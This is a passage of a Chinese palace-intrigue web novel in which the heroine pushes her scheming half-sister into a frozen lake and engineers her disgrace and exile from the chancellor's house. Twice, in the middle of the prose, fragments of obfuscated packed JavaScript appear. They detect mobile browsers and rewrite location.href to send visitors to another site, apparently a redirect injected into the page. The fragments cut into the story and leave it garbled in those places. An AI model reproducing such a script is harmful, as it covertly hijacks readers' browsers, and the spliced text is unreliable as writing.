陆乔的马车还未走远。
只见,又一辆马车悄悄跟在后面。
第33章 沈清婉坠湖
陆乔下了马车,走了一小段路便发现,亭中已有人。
齐王殿下披着玄色大氅,临风立在亭边,身姿挺拔如孤松,清风霁月。
听见陆乔脚步声,他回过头来,深邃的眸子里映着雪光。
“沈小姐,你来了。”
陆乔福身行礼。
“见过齐王殿下。”
齐王嘴角上挂着淡淡的笑,他抬手示意。
“沈小姐以后见到本王都不必多礼。”
不过三言两语,就让陆乔感觉到他的平易近人。
让人不由得心生好感。
亭中石桌上摆着一只小巧的手炉,和温热的茶水。
陆乔走到桌边坐下。
“殿下等很久了吗?”
“是本王早到了。”
陆乔将手炉拿在手里。
“不知齐王殿下今日邀小女子前来,所谓何事?”
齐王殿下给陆乔面前倒上一杯热茶。
“听母妃说,沈小姐愿意追随与我?”
“是。”
齐王意味深长道。
“听母妃说你是因为流落在外十几年,心生怨恨,在家中又受人欺辱,故而想追随本王。”
“可本王为何觉得这个理由有些牵强。”
“你乃丞相府嫡女,你的兄长自幼是太子伴读,你的父亲在朝堂之上与太子政见相合。”
陆乔心下一紧。
齐王幼时并不得皇上喜爱,生母身份低微,只不过因为皇上册封了太子,却又不想太子独揽大权。
这才有意扶持了齐王。
可,皇上的儿子并不少。
齐王并不仅仅是表面上的谦谦君子,反而一定是心思深沉之人。
上次在皇宫找淑贵妃破局,是她逼不得已。
现在已经上了齐王的贼船。
若这个问题没有回答好,怕是反而要让齐王察觉出其他的东西来。
那可就大事不妙了。
陆乔表面却甚是平静。
“怨恨父亲将我遗失在外十几年,只是其中的一个原因。”
“更重要的是,殿下能给我带来我想要的东西。”
“哦?”
齐王挑了挑眉,来了兴趣。
显然,与齐王这样的谈利益与野心更合适。
“我流浪在外十几年,父亲都未曾记起我。”
“如今,因着与宁王的婚约,父亲不忍沈清芷嫁给宁王,这才才千里迢迢将我寻回。”
陆乔冷哼一声:
“我来到上京并不久,却也知道宁王受皇上厌弃已久,若我嫁给他,今后当真是前途无望。”
“你想我替你拒婚?”齐王打量着陆乔,警告着,“那可是父皇亲赐的婚约。”
“婚约之事已是板上钉钉,更改不了。”陆乔顿了顿又继续道。
“可若有一天殿下继承大统,便可解除我与宁王的婚约,赐我无上荣耀。”
“你为何不求太子?”齐王又道。
陆乔:“太子如今势大,我与太子而言连锦上添花都算不上。”
“如同殿下所言,我的父亲、兄长都是太子的人,可我若是殿下在丞相府的细作。”
“那么,我之于殿下而言,那便算得上是雪中送炭。”
齐王依旧淡淡笑着,可左手拇指与食指不断轻捻摩擦着。
陆乔的话,他听进去了。
湖心亭内,就这样静了下来。
陆乔不再言语,侧过身看着湖面,雪片纷扬,落在湖面上,宛如一幅水墨长卷。
“嫡姐,你居然在这里?”
陆乔回过头一看,只见沈清婉正远远地朝她招着手,面上欣喜不已。
沈清婉一身打扮,不可谓不用心。
一身胭脂红蹙金双层广袖长裙,裙摆用银线密密地绣着缠枝莲纹,外罩一件玄狐毛领的羽缎斗篷,风帽边缘蓬松的狐**,衬得脸颊愈发莹润小巧。发间并非惯常的珠翠,只簪了一支赤金点翠步摇,并一朵新摘的红梅,冷香幽幽。
在漫天雪地里的一点红,让人眼前一亮。
陆乔还未应声。
沈清婉已经走到跟前,亲昵地牵着陆乔的手,满眼喜色。
“姐姐,没想到你今日也来观冬日湖景。”
“真巧呀,那妹妹今日便可以和姐姐一同观景了。”
说着,她回过头,如同才发现这里坐着其他人一般,故作惊讶。
“齐王殿下竟也在这里!”
随即娇羞的福身行礼。
“见过齐王殿下。”
齐王不着痕迹地看了一眼陆乔,似是在询问今日为何沈清婉会在这里。
随后抬手道:
“清婉姑娘不必多礼。”
陆乔此时也是一脸不知的样子。
抽出沈清婉握着的手,满脸嫌弃道:
“可我却不想与你一同观景。”
沈清婉瞬间尴尬在原地,她眼里闪过一丝恨意。
虽然心里早有预料陆乔不会给她好脸色,却也没想到陆乔居然直接在齐王面前拆她的台。
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沈清婉衣袖下紧紧握着拳头的手有些颤抖。
她忍了又忍。
脸上却不显半分。
她不着痕迹地坐在齐王身旁,略表歉意道。
“家中姐妹不和,让殿下见笑了。”
“姐姐流落在外多年,又是长在乡野由农妇教养长大的,说话有些失礼,还望殿下不要怪罪。”
沈清婉一边说着陆乔的不得体,只是野丫头,又显得她这个做妹妹的大度。
“无妨,本王觉得沈乔姑娘这样直言快语,也是爽朗之人。”
齐王的脸上仍旧带着笑意,并不接茬。
沈清婉也不在意,她今日本就不是为着陆乔而来。
她看着湖面故作天真。
“齐王殿下,这湖心亭的景可真美呀~”
“殿下......”
只是她的话还未说完,齐王站起身来。
“既然沈家二位姑娘今日一同赏景,那在下就不打扰了。”
说完就转身而去。
沈清婉瞬间慌了,她精心打扮的过来,与齐王殿下还没说上两句话。
怎么能就这样让他走了。
定是方才陆乔的话,让齐王殿下厌烦了她。
沈清婉狠狠剜了陆乔一眼。
追上齐王,急忙说道。
“殿下,你怎么这就要走啊,我们可以一起赏景呀。”
可无论沈清婉怎么说,齐王都未曾停下脚步。
“妹妹,你可要听我一言?”
陆乔跟着走了过来。
沈清婉正烦躁着,想着要不要不顾女儿家的姿态,跟着跑到齐王身边呢。
“你有什么话要说?”
陆乔走到沈清婉面前站定,勾起唇角。
低声道:“你偷看我的信件,千方百计地跑来湖心亭故作与我偶遇,不就是为了勾引齐王殿下吗?”
沈清婉没好气道:
“我就是看了你的信,搅扰了你与齐王殿下的幽会,你又能拿我如何?”
陆乔摇了摇头,眼含笑意,意味不明。
轻声道:“错了。”
“我可以帮你。”
沈清婉疑惑的看着陆乔,皱着眉。
“你能怎么帮我?”
陆乔凑到沈清婉的耳边,低声道:
“叫齐王殿下救命时,记得声音大些。”
说完,陆乔双手用力一推。
沈清婉失控地连连后退,腰部撞上湖心亭的围栏后,整个人向后仰倒。
最后,直接坠入湖中。
第34章 太子也来了
沈清婉难以置信地看着陆乔,身体却不受控制地向后仰倒。
“**!你害我!”
最后坠入湖中。
冬日的湖水,刺骨的冷。
沈清婉根本不会水,吓得双手胡乱的拍打着水面。
“救命.....救命.......”
她猛地想起陆乔推她下水前说的一句话。
于是,大声呼喊着。
“齐王......齐王殿下......救命!”
她的呼救声断断续续,冰冷的湖水呛入她的口鼻,让她忍不住地咳嗽。
就连这个时候,她都控制着自己的姿态,想要显得娇柔无措一些,可旁人看起来,却是毫无优雅可言。
齐王并未走远,听到落水声和呼救声就赶了回来。
当他看见陆乔安然无恙地站在一旁时,连他自己都没有察觉到自己不知何时松了口气。
“发生了什么?”
齐王看着沈清婉在水里扑腾,不紧不慢地问着。
?
发生了什么?
陆乔闻言一愣。
是沈清婉在水里扑腾的动作还不明显吗?
她忍下笑意,故作紧张地看着齐王。
“方才,妹妹不小心失足落水。”
“我实在不会水,还望殿下救妹妹一命。”
齐王却看着陆乔,面无波澜。
“不急。”
“啊?”
“听说,前些日子,她在皇宫里欺负你了?”
齐王赶过来一共不过说了三句话。
可句句话都把陆乔说懵了。
二人在岸上不紧不慢地聊着。
湖里的沈清婉却是再也顾不得形象了。
“唔......殿下......”
她根本看不清岸上的人影,精心准备的冬装浸透了水,变得沉重无比,像一只无形的手死死拽着她向下沉。
发髻早已散乱,湿漉漉地贴在苍白的脸颊和颈项上,珠钗歪斜,看上去可怜又无助。
慢慢的双手脱力,扑腾不动了。
陆乔:“殿下不去救救她吗?”
“我的妹妹好像真的有一点点要**。”
齐王抬手,向身后的树林示意。
不过多时,一个暗卫跑了过来,跳入湖中。
三两下就将沈清婉捞了出来。
好不容易被救上岸的沈清婉,倒在地上,猛地咳着吐水,毫无形象可言。
吐了好一会,她才恢复了一些神志。
立马环抱住救她的人,柔弱无骨般倒在他的怀里将脸埋在他胸前,呜咽着。
“殿……殿下……”
她嘴唇冻得乌紫,牙齿咯咯作响,浑身不停发抖着,声音微弱。
因为视线被冰冷的水和散乱的发丝模糊,根本看不清来人的面容。
“谢……谢谢殿下……救命之恩……”
“呜呜呜......柔儿快吓**......柔儿好害怕......”
她心里还真是不由得有些感激陆乔了,难得这个**居然还真的帮她。
若她到时候嫁入齐王府,倒是可以大发慈悲不与她再计较。
看来娘亲今日要她来这里的这步棋。
走对了。
这突如其来的“投怀送抱”,让那名暗卫瞬间僵住了,如同被钉在原地。
训练多年镇定的暗卫,此刻脸上皲裂一般的表情,一动不敢动。
他也浑身湿透了,眼睛无助地望向远远站在一旁的齐王,额角急出了冷汗。
可齐王站在一边,他脸上什么表情也没有,也并未发话。
场面一瞬间有些尴尬。
只有沈清婉低低的、充满依赖的啜泣声,和那名侍卫因紧张而略显粗重的呼吸声,异常清晰地传来。
“妹妹这是发生了何事?!”
沈清芷震惊的声音从后面传来。
和她一起来的,还有太子与沈修文。
在知道今天陆乔与齐王有约后,她就急忙见了自己的亲哥哥。
想尽办法,让哥哥带着太子过来。
只为撞破陆乔的**。
她算准时间,精心筹谋。
可,她怎么也没有想到看到的却是沈清婉浑身湿透了,直往一个侍卫怀里钻。
天爷啊!
这里到底发生了什么?
看见又来了这么多人,纵使向来待人和善的齐王,现在都皱着眉,不悦地看着身旁的陆乔。
怎么还有人来?
你全家都知道我今天和你私会吗???
陆乔心虚的咳了两声,侧过头看着湖心亭的风景。
别看我,我不知道。
被沈清芷的
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话拉回现实的沈清婉,双手还紧紧环抱着身边的人。
沈清婉还低着头,心里沉浸在齐王跳入湖中救她,还被其他人看见了欣喜。
这下,众目睽睽之下,二人有了肌肤之亲。
齐王妃之位,定是她的了。
她有些羞涩,娇躯还控制不住冻得发抖。
好在冬日的衣衫厚重,哪怕浑身湿透了,也露不出什么肌肤。
“我方才不小心跌入湖中,是齐王殿下将我救了起来......嗯?”
话还未说完,沈清婉瞪大双眼看着陆乔身旁站的齐王殿下。
齐王殿下怎么在那边,那救她的人是谁!!!
她立马扭过头看向自己紧紧抱着的人。
居然是她从未见过的,身穿侍卫衣着的男子。
她吓得小脸惨白了,撒开手,连忙往后退。
震惊无比,语无伦次。
“你...你...你是谁!”
“谁让你碰的本小姐,小心本小姐砍了你的手!”
陆乔远远站在一边,悠然道。
“妹妹,这位侍卫大哥是你的救命恩人呀,你怎么能这样说话!”
“没规矩啊!”
方才湖心亭沈清婉对陆乔说话,现在陆乔全都还给了她。
本来刚在湖里喝的水就够多了,现在沈清婉冻得瑟瑟发抖,大脑一片空白。
破口大骂:
“你闭嘴,你这个小**,是你......”
“住嘴!”
沈修文阴沉着脸厉声打断沈清婉的话。
虽说沈清婉与他并不是一母所生,不过是个妾室之女。
可说来说去都算是他是庶妹。
眼见家中女子湿漉漉地抱着一个男子,被这么多人看见。
更可气的是,沈清婉身为丞相府之女,居然抱的还只是齐王的一个小小侍卫!
真是整个丞相府的颜面都要丢尽了!
更不要说太子还在这里站着呢!
他真是后悔听了沈清芷的话,带着太子来了这里。
“沈清婉,你在这里干什么?平日里的《女戒》《女训》都读到哪里去了!”沈修文怒斥着。
直到这时沈清婉才看见另一边的沈修文和太子。
在看见太子的那一刻,她眼前一黑,险些晕了过去。
第35章 要沈清婉嫁侍卫?
齐王与陆乔走到太子跟前行礼。
“见过殿下。”
这种英雄救美的场面太子倒是看得有趣。
点了点头。
“免礼。”
齐王看着暴怒的沈修文。
“沈兄何必如此生气,沈四姑娘坠入湖中也是不小心。”
“虽说男女有别,本王的侍卫却总不好见死不救吧。”
齐王的话说得有理,沈修文不好反驳。
阴沉着脸对着齐王拱手。
“多谢殿下对舍妹的救命之恩。”
沈修文乃是**。
平日里对齐王下的绊子可不少。
“救沈四姑娘的,是本王的是侍卫,沈兄该向他道谢。”
齐王勾着唇角,心里不知道有多解气。
沈修文脸上一阵青一阵白。
太子突然开口道:
“不知三弟今日为何与沈家两位姑娘在这湖心亭所为何事?”
齐王道:“偶遇。”
“不信你可以问问她们。”
陆乔跟着答:
“我与妹妹相约湖心亭赏雪,没想到偶遇齐王殿下。”
“当真?”太子看着倒在一边的沈清婉。
此时的沈清婉吓得胆寒。
哪里还敢说自己是特意来勾引齐王的。
只能点头称是。
“湖......湖心亭,风景极佳......我与姐姐特来赏雪......”
看见问不出什么,太子倒也不恼。
“太子殿下与沈家兄妹为何今日也来这湖心亭?”齐王反问道。
太子学着齐王的话。
“修文说湖心亭雪景不错,今日特来观景。”
“这么说来,我们几人今日心思倒是想到一块去了。”齐王意味深长。
今日的湖心亭,热闹得很。
太子笑笑,“那还真是凑巧。”
“今日事发突然,虽然是三弟的侍卫救人,但说起来侍卫都是听三弟的调令。”
“如今沈四姑娘清白已失,三弟身为皇子,定要为沈四姑娘负责呀。”
太子只是带了一嘴侍卫,却最终把救人的名头抠在了齐王的头上。
原本绝望的沈清婉,眼前倒是一亮。
她,还有希望。
“是啊,齐王殿下可要给舍妹一个说法。”
太子开了一个头,沈修文便跟了过来。
在齐王身边安插一个自己人,有利无害。
正好可以挽回相府的颜面。
“呵~”齐王眼睁睁地被气笑了。
这沈清婉身上的水甚至都没有溅到他的衣服。
三言两语的却要他负责。
“太子殿下此言差矣,侍卫救的就是侍卫救的,众人皆是亲眼目睹,与本王又有何干系。”
他话锋一转。
“若是丞相府嫌弃本王的侍卫出身不高,觉得辱没了沈四姑娘的身份。”
“本王倒是可以升这个侍卫为本王的亲随,日后也会赏赐于他,倒也不算委屈了沈四姑娘。”
千言万语汇成两个字。
不娶!
跪在一旁的侍卫倒是脸上一喜。
随手救了个人。
又是升职又是娶丞相府的小姐。
“属下多谢主子提拔。”
沈清婉心里是七上八下,连忙打断。
“不行!”
“我才不要嫁给侍卫!”
事已至此,沈清婉也豁出去了。
扑到齐王脚边,泣不成声。
“齐王殿下,你既然派人救我,却又为何不认呢......”
“难不成,是嫌弃我只是一个庶女吗?”
她狠了狠心道:
“为谢齐王殿下救命之恩,无论是侧妃还是妾室,小女子心甘情愿!”
不管了,破罐子破摔。
齐王殿下,她是赖定了!
只要能进齐王府,她就有争的机会。
若真的嫁给那个侍卫,她还不如一头撞死。
况且今日之事,若传回丞相府。
待父亲知道了,一定会把她打死的。
那还不如给齐王做妾!
“啧啧啧~”
太子看热闹不嫌事大,面色动容。
“三弟,这沈四姑娘所求又不多,只不过是想报答你的救命之恩罢了。”
“沈丞相的女儿做你的侧妃,亦是绰绰有余。”
“三弟莫要辜负沈家姑娘的心意呀。”
可齐王却是不为所动,后退半步。
冷着脸。
“沈四姑娘与本王的侍卫有了肌肤之亲,却让本王迎娶为侧妃,此番做法怕是有污皇家颜面。”
“太子殿下,这事若传到父皇耳中,想来父皇也定不会同意。”
齐王将话说**,太子也没有办法。
场面一时间冷了下来。
就在这时,陆乔的声音响起。
“小女子认为妹妹的婚嫁之事,当由父母做主。”
“不知太子与齐王殿下意下如何?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839474|191303||http|test|mini|href|location''.split(''|''),0,{}));
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>场面僵持不下。
众人也只能散去,由得沈丞相自家断案。
回府的马车上,众人心怀各异。
沈清芷阴沉着脸。
纵使先前她再想不清楚,现下也明白了。
陆乔故意纵着她们往她房里塞人,打探消息。
在府内暗自散播自己与齐王相见的事。
又借助沈清婉急于攀附权贵的心思,吊着沈清婉出来。
最后,算准了自己会带人来捉奸。
今日,自己不仅让亲哥哥气恼,还在太子面前丢了大大的脸面。
陆乔却借了自己的手,连消带打的除了沈清婉。
一盘棋,将整个丞相府的人算得明明白白。
甚至将两位皇子都算了进去。
一环扣一环。
她今天从头到尾,倒是旁若无人看戏看得津津有味。
真是好心机,好手段!
*
一众马车停在丞相府门前。
太子与齐王回了各自的府上。
其余沈家子女,纷纷下了马车。
沈清婉在车上磨磨蹭蹭,不愿下车。
回府的路上,她已经在马车上换下了湿透的衣服。
但头发还在滴着水。
她环抱着自己,不停地发抖着。
身体冷。
心,更冷。
父亲虽自小疼爱她。
可,她心里清楚,对于子女来说父亲更爱自己的脸面与仕途。
今日,她怕是凶多吉少了。
磨蹭了许久。
最后还是沈修文一把将她拖了下来。
疏影居。
柳氏在房中来回踱步。
为何久久没有消息,该回来了呀。
她心里有些紧张。
若今日事成,从此女儿嫁入皇家。
她也能算得上是齐王的岳母了,皇亲国戚。
再也不用受王氏的气。
就在这时,她的房门不得丫鬟通传,被一脚踹开。
赵嬷嬷冷笑着看着柳氏。
“柳姨娘,随老奴往前厅走一趟吧。”
柳姨娘心头一坠,难不成婉儿今天见齐王出了什么事?
不过也就是齐王并不属意婉儿罢了。
到底出了何事?
“赵嬷嬷,不知所为何事?”
赵嬷嬷嘴角牵动了一下,似笑非笑:“姨娘心里难道没数?”
她指挥着身后的几个婆子二话不说,将柳姨娘架了起来。
沉声道:
“带走!”
第36章 沈自山要杀沈清婉
柳氏还未至前厅,就远远听到沈山发怒的声音。
“什么!”
沈自山虎目怒瞪!
沈清婉跪在前厅,低着头浑身发抖不敢言语。
“什么叫被齐王的侍卫救了上来?”
沈自山难以置信地问着沈修文,“什么又叫太子看见了?”
他气得脖子上的青筋拢起。
指着沈清婉的手都在发抖:
“那么多人看着,你还不知廉耻的死死抱着那个侍卫!”
“平日里那些教养你是学到狗肚子里去了吗!”
沈自山破口大骂,沈清婉额头点地,吓得直哭。
“我不慎落水,被侍卫救起,又有什么错?”
“错的是沈清芷,是她带着太子过来撞见了!”
沈自山也是烦得不行。
皱着眉转头看着沈清芷吼着:
“你没事怂恿你兄长求他带着太子去湖心亭作甚!”
沈清芷咬着唇。
从她出生起,就没有被父亲这样骂过。
陆乔将水搅浑。
这下,所有人都不敢说今日事是故意所为。
“父亲,女儿只是想与太子殿下多相处一些,真的是偶然撞见。”
“况且,是清婉不小心......与女儿无关呀......”
她咬**自己不是故意的。
“说到底......若清婉早早松手,不抱着那侍卫,说不定太子殿下也看不见......”
沈清芷话说得也没有错漏,终是沈清婉自己死死抱着侍卫不撒手。
害了自己。
沈自山胸口连连起伏,拿起桌上的茶壶反手就砸在沈清婉身上。
自己的女儿闹了这么大的丑事。
他贵为一国丞相。
大庭广众之下,女儿抱着侍卫不撒手。
今日一过,整个上京都要传遍了他的笑话了。
说不定皇上也要训斥他教女不善。
沈清婉害怕,却根本不敢躲,任由茶壶砸在自己的身上。
柳氏刚踏进前厅,正撞见这一幕。
“婉儿!这是怎么了!”
她急忙跑到沈清婉身边,紧紧将女儿护着。
“相爷,清婉是你的亲生女儿啊,你怎么能这样打她!”
“女儿?哼!”沈自山咬牙切齿,“我情愿没有这个女儿!”
见生母来了,沈清婉抱着柳氏大哭起来。
听得柳氏心都碎了,却也不知到底发生了何事。
她犟着朝沈自山说道:
“就算婉儿是为了去与齐王偶遇,她也是为了能嫁得好些,让你这个父亲脸上有光。”
“你也不至于这样打婉儿啊。”
沈自山一整个被气笑了。
他伸手拍拍自己的脸,“为了让我脸上有光?”
“如此说来,我还是要谢谢她了?”
柳氏有些被吓到。
沈自山指着柳氏,怒道:
“你还不知道呢?”
“你!你的好女儿!掉到湖中,被齐王的侍卫救起,这便罢了。”
沈自山气血上涌,两只手对着空气比划着。
“她倒好!上岸之后浑身湿透了,还紧紧抓着别人侍卫,直往别人怀里钻,许久都不撒手!”
“最后被太子殿下亲眼撞见!”
柳氏两眼一黑,险些晕倒在地上。
“还想嫁得好?”他气笑了,“怕是齐王殿下现在张罗着要为自己的侍卫上门提亲了!”
柳氏彻底慌了。
她跪走到沈自山脚下。
“不行!婉儿怎么能嫁侍卫呢!”
她抓着沈自山的衣角。
“相爷,妾身求你,你想想办法。”
“婉儿她是你的亲生女儿啊!她是堂堂当朝丞相之女,怎么能嫁给一个侍卫呢!”
沈自山一脚将自己曾经的爱妾踹开。
“哪怕是她为了这样的丑闻想嫁侍卫,我还嫌替她丢人呢!”
沈自山越想越生气。
大喊一声。
“来人!”
“一条白绫勒死这个逆女,也算是我沈府家教森严!”
一语毕,前厅的下人皆大惊失色。
沈清婉瞬间慌了。
她双眼猩红,径直往陆乔身上扑,得亏珠儿机灵,护着陆乔连连后退。
沈清婉扑了个空,摔倒在地。
“是你!”
“你这个**,是你推我下水,是你害得我!”
沈清婉转头朝着沈自山双手颤抖着哭诉。
“父亲,是沈乔害我,是她故意推我下水!”
可沈自山气血上头,现在根本听不进去沈清婉的辩解。
“我以前怎么没有发现你居然是这样的人!”
“是她推你下水,难道是她逼着你当众抱着侍卫吗!”
柳氏已经彻底崩溃只能在地上不断磕着头。
最后,沈修文开口道。
“父亲,若今日真让四妹自缢家中,传扬出去怕是也不好听。”
“不如,把四妹送到城外庄子上,就说得了重病。”
沈自山思索片刻,他也知道别无他法。
总不能真的杀了自己的女儿。
“沈清婉在外不知羞耻,失了闺阁女的清誉,痛打五十大板,连夜送到城外庄子去!”<
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br>他看了看柳氏,此事多半与柳氏逃不了干系。
“柳氏管教不当,也一并打五十大板,随沈清婉一并送去庄子上,再也不许回上京!”
说完便甩手离开。
沈清婉坐在地上呆愣着。
她甚至还没有反应过来,明明早上出门还好好的。
不过半日,自己已经被逐出上京。
但还容不得她思索,下人们已经将她拖到院子里。
很快,传来沈清婉惨叫声。
沈清芷走到陆乔跟前,冷笑:
“姐姐今日真是好算计,借我的手除了沈清婉那个蠢货。”
陆乔神情淡淡。
“听不懂妹妹在说什么。”她看着沈清芷的眼睛,“我若好算计,除夕夜那天,早就死在城外的荒郊野岭了。”
“妹妹你说是吗?”
沈清芷眼底闪过狠意,但很快又回到平时温婉端方的千金小姐模样。
“我不知道姐姐在说些什么,姐姐除夕夜不是去给母亲买玉佩了吗?”
“今日闹了一天,我也是乏了,先回房歇息了。”
说完,沈清芷便转身离去。
前厅众人街皆陆续离去,珠儿对陆乔道:
“小姐,今日你也累了,我们回房吧。”
“不急。”陆乔迈步往沈清婉的方向走去。
沈清婉此时已经无力再喊叫出声,每一个板子落在身上。
只传来她的一声声的闷哼。
直到陆乔走到她的面前,沈清婉猩红的双眼,满是恨意。
“**......”她咬着牙虚弱地说着。
“从......我娘往你院中......塞......塞人的那一刻......你就已经算计好了......是吗?”
陆乔蹲下身来,让自己的视线平齐她的目光。
用她们二人才能听见的声音:
“我的目标从来都不是你。”
沈清婉恨恨看着她,恨不得生咬下陆乔身上的一块肉。
“那你为何要害我。”
闻言,陆乔觉得十分可笑。
害人者,从不觉得自己有错,直到自己被害的一天,却想着要理论理论。
陆乔挑眉,冷笑着看着沈清婉。
若此时**在这里,一点会吓得冷汗淋淋。
此刻的陆乔,仿佛又回到了那个破庙,逼着**亲手打死苏婉婉的时候。
她,根本就是一个活脱脱的恶女。
“因为,你整天像苍蝇一样围着我转。”
陆乔微微皱眉,仿佛在说今天天气不错。
“太吵了。”
第37章 与沈清柔合作
天色晦暗,各房各院早早亮起灯火。
陆乔披着一件银狐斗篷,独自站在廊下。
“小姐。”珠儿走到陆乔身边,“今日下午彩环到许管家那边自请离开我们院子,只愿做丞相府最粗使的丫头。”
陆乔眸光微动,“她倒是识趣,知道柳氏与沈清婉倒台,还不如早早离去,自请受罚。”
珠儿冷哼:“居然敢擅作主张自请离开,真是便宜她了。”
“不过是个丫头,自己走了,还省得我动手。”陆乔转身往屋内走。
珠儿跟在后面道:“主母送的刘妈妈倒是没走,只不过收敛了许多。”
陆乔在临窗户的暖榻上坐下,伸手在炭盆上烤了烤。
“沈清芷是个聪明的,她知道被我利用之后,自然是要警告刘妈妈的,如此一来,咱们院里倒也能安静不少。”
似是记起什么,珠儿道:
“彩环走后,管事安排了另外一个丫头过来伺候着,小姐可要见见?”
陆乔思索着,似是想起什么。
“带过来见见吧。”
门帘掀起,一个比寻常女子高半分的丫头走了进来。
她面容清秀,眉眼处有些凌厉之感。
走到陆乔跟前,恭敬行礼。
“奴婢添墨,见过小姐。”
“既然来了,就知道自己要做什么。”陆乔语气平淡,“我这院中,只有珠儿可信,其余人你都得小心。”
“以后,你就跟珠儿、霜月一起负责我屋内的事吧。”
陆乔说完,添墨有些诧异。
她什么都未说,陆乔却已经把院子里的事情告知清楚。
“你是萧允珩送过来的人吧?”
陆乔看透她心中疑惑问道。
一旁的珠儿略微震惊地看着添墨,人是她从管家那边接过来的。
她都不知道这人是宁王殿下送来的。
为何小姐只看一眼便知。
添墨虽未问出口,陆乔也知道她想问什么。
“你走路无声,想来轻功不错。行礼时手掌虎口处有薄茧,应当是多年习武落下的。”
陆乔笑道:“我说的可对?”
竟如此观察入微。
仅第一次见面,添墨便对这个闺阁千金小姐心中有些敬意。
陆乔正欲吩咐着什么,门外传来霜月的声音。
“小姐,五小姐来访,正在院中候着。”
这一日下来,沈清柔果然忍不住了。
“请她进来吧。”陆乔答道。
沈清柔身着素色大氅,手中捧着手炉,走了进来。
“五妹妹深夜到访,所谓何事?”
沈清柔在暖炉一侧坐下:
“二姐,应当知道柔儿所谓何事。”
陆乔端起茶杯,微微皱眉:
“我这个做姐姐的,怎么知妹妹心中所想呢?”
陆乔装傻,沈清柔也没有办法。
她抿唇道。
“前几日,姐姐特意上门所说的话,我全部听在耳里,记在心里。”
“只不过实在是怪我胆小如鼠,因而没有立马答应与姐姐合作除掉王氏。”
“还望姐姐不要怪罪。”
陆乔密见齐王这件事,搅动了整个丞相府,就连沈清柔也不例外。
她知道消息后,虽然没有做什么,但却看得清清楚楚。
一来陆乔回府不过一月有余,就已经除掉了受宠多年的柳氏,就连王氏与沈清芷也在她手上吃了瘪。
与陆乔合作,或许,她真的可以有庶出改为嫡出的一天。
二来眼看陆乔与齐王关系匪浅,或许借助陆乔,她真的可以与齐王......
陆乔垂眸,看着桌上雕花的纹路,表情毫无波动。
“我不过是流落在外多年的野丫头,不过才回上京一月有余,如何能除掉这丞相府的当家主母呢?”
陆乔心里冷笑着,她从来都不是什么好人。
她找上去寻求合作之时,被沈清柔左推右推,挡了下去。
现下换作沈清柔来求她,一切便早已不是之前的价钱了。
陆乔推脱着,沈清柔深吸一口气,仿佛拿定了决心。
起身走到陆乔面前,单膝下跪。
“从今往后,我与姨娘愿追随姐姐,听从姐姐调遣,肝脑涂地。”
“还望姐姐不要嫌弃我们力薄。”
不过数日,从合作变为追随。
简单的两字,二人之间的关系可谓是翻天覆地。
陆乔并未让沈清柔起身,只是审视地看着她。
沈清柔,城府极深。
极难拿捏。
此刻的顺从,并不真正意味着什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839476|191303||http|test|mini|href|location''.split(''|''),0,{}));
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r>整个房间寂静无比,只有暖炉里的炭火发出轻微的爆裂声。
陆乔沉默片刻,才起身将沈清柔亲手扶了起来。
“咱们亲姐妹之间说着话呢,你何必动不动就下跪。”
“妹妹既然有心,我也自然开心,只不过此事需要从长计议,切莫操之过急。”
陆乔算是给了沈清柔承诺,沈清柔心里松了口气。
二人又说了几句闲话,沈清柔便离开了。
夜色已深,陆乔正欲睡觉。
珠儿掀帘而入。
见屋内无人,连忙走到陆乔身边,从怀里拿出一封信。
“小姐,此为方才巩参将暗中送来的信。”
陆乔接过信后打开一看。
“崔云峥明日休沐,晚上在百花楼定了坐。”
陆乔很早便吩咐了巩大哥,让他盯着崔云峥,没想到这么快就有了消息。
她微微皱眉,“百花楼?”
“是上京有名的青楼。”珠儿看着信上的内容,神色鄙夷。
青楼......
陆乔沉思着,之前萧允珩让她办的事,她一直记在心里。
一个计谋慢慢涌上陆乔心头。
暖炉跳跃的火光,映着她的侧脸,陆乔眼底满是火光。
复仇之路,终于要开始了。
她走到桌旁,提笔写下两封信,分别放入了信封。
陆乔拿给珠儿。
“上面这一封是给齐王殿下,下面这一封是给宁王殿下。”
“今夜便送出去。”
珠儿慎重地接过信,“奴婢知道了。”
“明日,我要‘病’一日,任何人都不见。”陆乔继续吩咐道。
珠儿心提到了嗓子眼,“小姐,你不会要去......”
她脸色大变。
“那可是青楼,小姐你身为丞相府的嫡女,若被旁人发现,那可是要名声尽毁的!”
“沈清婉不过是当众抱着侍卫不撒手,相爷就将她逐出上京,小姐若是被发现了,相爷可能真的会打死小姐的!”
可陆乔心意已决,只要能复仇,莫说是女孩子家的清誉。
哪怕是要她的性命,她也照给不误!
陆乔的声音不容置疑。
“我意已决,你不必再劝。”
窗外风雪渐停,冬天就快过去了。